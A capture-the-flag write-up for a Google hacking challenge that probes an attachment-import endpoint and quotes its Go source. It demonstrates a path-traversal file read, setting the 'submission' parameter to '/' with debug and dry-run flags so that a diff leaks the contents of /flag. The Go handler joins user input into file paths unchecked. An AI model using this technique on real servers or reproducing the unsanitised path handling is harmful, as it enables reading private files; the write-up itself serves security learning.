Skip to content

Latest commit

 

History

History
192 lines (152 loc) · 6.34 KB

e04c01.md

File metadata and controls

192 lines (152 loc) · 6.34 KB

Episode 4: Challenge 1

Description

This endpoint is used by the VRP website to download attachments. It also has a rarely-used endpoint for importing bulk attachments, probably used for backups or migrations. Maybe it contains some bugs?

Hint: Some of the pages on this version of the website are different, look around for hints about new endpoints.

A link to a website was attached.

Solution

The attached website is a duplicate of the "Google VRP" website, used to submit vulnerabilities to Google.

The FAQ contains the following Q&A:

Q: Why did my attachment fail to upload?

A: To debug, you should call the /import endpoint manually and look at the detailed error message in the response. The same applies to the /export endpoint for downloading attachments from a submission. 

Let's try it:

┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl "https://path-less-traversed-web.h4ck.ctfcompetition.com/import"
only POST allowed

┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl -X POST "https://path-less-traversed-web.h4ck.ctfcompetition.com/import"
missing submission parameter

┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl -X POST "https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=0"
server undergoing migration, import endpoint is temporarily disabled (dry run still enabled)

Dry run? What? Well, this challenge becomes much more understandable once we get the source code from Challenge 3.

// importAttachments imports a tar archive of attachments for a submission.
func importAttachments(w http.ResponseWriter, r *http.Request) {
	if r.Method != http.MethodPost {
		http.Error(w, "only POST allowed", http.StatusMethodNotAllowed)
		return
	}

	submission := r.URL.Query().Get("submission")
	if submission == "" {
		http.Error(w, "missing submission parameter", http.StatusBadRequest)
		return
	}

	// Allow a dry run to test the endpoint.
	dryRun := r.URL.Query().Get("dryRun") != ""

	// TODO: Remove this before deploying to prod!
	debug := r.URL.Query().Get("debug") != ""

	// Read the archive from the request.
	r.ParseMultipartForm(32 << 20) // Limit max input length
	file, header, err := r.FormFile("attachments")
	if err != nil {
		http.Error(w, fmt.Sprintf("could not open file %v: %v", file, err), http.StatusBadRequest)
		return
	}
	defer file.Close()

	filename := filepath.Base(header.Filename)

	// Open with gzip and tar.
	in, err := gzip.NewReader(file)
	if err != nil {
		http.Error(w, fmt.Sprintf("could not open file %v with gzip: %v", filename, err), http.StatusBadRequest)
		return
	}
	tr := tar.NewReader(in)

	// Parse the .tar.gz file.
	for {
		var err error

		// Read until the EOF chunk.
		h, err := tr.Next()
		if err != nil {
			if err == io.EOF {
				break
			}
			http.Error(w, fmt.Sprintf("error reading tar entry: %v", err), http.StatusBadRequest)
			return
		}

		// Skip directories.
		if h.FileInfo().IsDir() {
			fmt.Printf("skipping directory %v in archive\n", h.Name)
			continue
		}

		// Check if the file already exists. If so, show a diff.
		attachmentPath := path.Join(submission, h.Name)
		info, err := os.Stat(attachmentPath)
		if err != nil {
			fmt.Fprintf(w, "new file: %v\n", attachmentPath)
			continue
		}

		// File already exists.
		if !info.Mode().IsRegular() {
			fmt.Fprintf(w, "skipping non-regular file attachment %v\n", attachmentPath)
			continue
		}
		fmt.Fprintf(w, "WARNING: file %v already exists and would get overwritten (enable debug to see differences)\n", attachmentPath)

		// Read the archive file.
		trContents, err := ioutil.ReadAll(tr)
		if err != nil {
			http.Error(w, fmt.Sprintf("error reading uploaded attachment %v: %v", h.Name, err), http.StatusBadRequest)
			return
		}

		// TODO: Remove this before deploying to prod!
		if debug {
			trString := string(trContents)

			existingContents, err := ioutil.ReadFile(attachmentPath)
			if err != nil {
				http.Error(w, fmt.Sprintf("error reading existing file %v: %v", attachmentPath, err), http.StatusBadRequest)
				return
			}
			existingString := string(existingContents)

			if strings.Compare(trString, existingString) == 0 {
				fmt.Fprintf(w, "no differences\n")
				continue
			}

			msg := "showing existing and new contents:\n"
			msg += "=====\n"
			for _, line := range strings.Split(strings.ReplaceAll(existingString, "\r\n", "\n"), "\n") {
				msg += fmt.Sprintf("< %s\n", line)
			}
			msg += "-----\n"
			for _, line := range strings.Split(strings.ReplaceAll(trString, "\r\n", "\n"), "\n") {
				msg += fmt.Sprintf("> %s\n", line)
			}
			msg += "=====\n"
			fmt.Fprintf(w, "%s\n", msg)

			// Debug mode, so just continue without writing the file.
			continue
		}

		// Write the new file.
		os.WriteFile(attachmentPath, trContents, 0660)
	}
}

Now we see that we can provide a dryRun parameter. Moreover, we can also provide a debug parameter which prints out much more details. And above all that, we can also spot a subtle vulnerability that allows us to perform a Local File Inclusion attack by controlling the submission parameter.

Let's use all that to leak the flag. We'll assume that the flag is located at /flag like in other challenges.

First, we need to create a dummy flag file, zipped in a GZIP archive:

┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ echo fake_flag > flag

┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ tar -zcvf test.tar.gz flag
flag

We submit it to the import endpoint:

┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP004/Challenge_01]
└─$ curl -X POST "https://path-less-traversed-web.h4ck.ctfcompetition.com/import?submission=/&debug=1&dryRun=1" -F attachments=@test.tar.gz
WARNING: file /flag already exists and would get overwritten (enable debug to see differences)
showing existing and new contents:
=====
< https://h4ck1ng.google/solve/TakingThePathLessTraversed
<
-----
> fake_flag
>
=====

The / from the submission parameter was joined with the flag that we archived and allowed us to see the diff between our dummy file and /flag, leaking us the real flag.